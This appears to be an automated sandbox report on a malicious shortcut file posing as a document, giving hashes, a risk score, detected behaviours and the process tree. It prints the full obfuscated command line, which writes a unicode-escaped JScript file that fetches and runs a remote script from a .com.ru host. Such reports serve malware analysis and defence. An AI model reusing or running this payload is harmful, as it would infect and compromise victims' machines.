ffc8f45edc5367ae6f92ae74718c34d2a03841a13fd084e7a51cc7ea89a01f9b

Analysis

max time kernel
27s
max time network
30s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
14/05/2023, 01:56

Target

Analisar_Documento0882794814.803816.44691.lnk
Size

1KB
MD5

7a367d3279bb3287198bb1cc84beb9f9
SHA1

e0ae2d2593ac69084888d471784ea709f456a5ab
SHA256

da642ad8df5a83ac147d858adf2b46381e9da2e6d68041415dadfa98ff99dff1
SHA512

0c38fccbe5ba8c5c61748b506190fca15a2626dd374e8bc948e2c9e06cf698b5709c031e0ca7ed0605b07c63fa8b4b16abea7287d4cf219b8cc2d301e0508c08

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1716 wrote to memory of 752	1716	cmd.exe	29
PID 1716 wrote to memory of 752	1716	cmd.exe	29
PID 1716 wrote to memory of 752	1716	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Analisar_Documento0882794814.803816.44691.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1716
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" C:\Windows\system32\cmd.exe /V/D/c "md C:\9uR9E36\>nul 2>&1 &&s^eT QRKN=C:\9uR9E36\^9uR9E36.^Js&&echo eval('\u0076\u0061\u0072\u0020\u0043\u0066\u0046\u0031\u003d\u0022\u0073\u0022\u002b\u0022\u0063\u0072\u0022\u003b\u0044\u0066\u0046\u0031\u003d\u0022\u0069\u0070\u0074\u0022\u002b\u0022\u003a\u0068\u0022\u003b\u0045\u0066\u0046\u0031\u003d\u0022\u0054\u0074\u0022\u002b\u0022\u0050\u003a\u0022\u003b\u0047\u0065\u0074\u004f\u0062\u006a\u0065\u0063\u0074\u0028\u0043\u0066\u0046\u0031\u002b\u0044\u0066\u0046\u0031\u002b\u0045\u0066\u0046\u0031\u002b\u0022\u002f\u002f\u0070\u0034\u0065\u0061\u0033\u0030\u002e\u0067\u0065\u0072\u0065\u006e\u0063\u0069\u0061\u0064\u006f\u0072\u0076\u0069\u0072\u0074\u0075\u0061\u006c\u002e\u0063\u006f\u006d\u002e\u0072\u0075\u002f\u003f\u0031\u002f\u0022\u0029\u003b'); >!QRKN!&&ca^ll !QRKN!"
  2⤵
  PID:752

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact